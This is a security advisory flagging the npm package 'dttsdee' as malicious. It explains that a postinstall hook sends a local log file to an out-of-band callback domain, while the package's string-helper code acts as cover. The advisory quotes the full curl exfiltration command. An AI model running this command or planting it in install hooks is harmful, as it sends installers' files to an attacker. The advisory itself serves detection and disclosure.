MAL-2026-6462 Malicious code in dttsdee (npm)

package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$(cat /data/logs/monitor-2026-06-25.log)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data. The hook reads a file from the installer's filesystem and POSTs its contents over cleartext HTTP to an attacker-controlled subdomain on oastify.com (Burp Suite's Collaborator out-of-band callback service, commonly used for data exfiltration and SSRF research). The package advertises itself as a string-utility library (easy-string-kit in source) but is published under the unrelated name dttsdee with empty author/repository/homepage/bugs metadata; the innocuous string-helper code in index.js is cover for the install-time exfiltration. The combination of generic placeholder metadata, mismatched name/internal-description, and an automatic OOB exfil beacon on a researcher/attacker callback domain is a throwaway malicious package (likely dependency-confusion PoC or active attack).

The OpenSSF Package Analysis project identified 'dttsdee' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

• The package communicates with a domain associated with malicious activity.

• The package executes one or more commands associated with malicious behavior.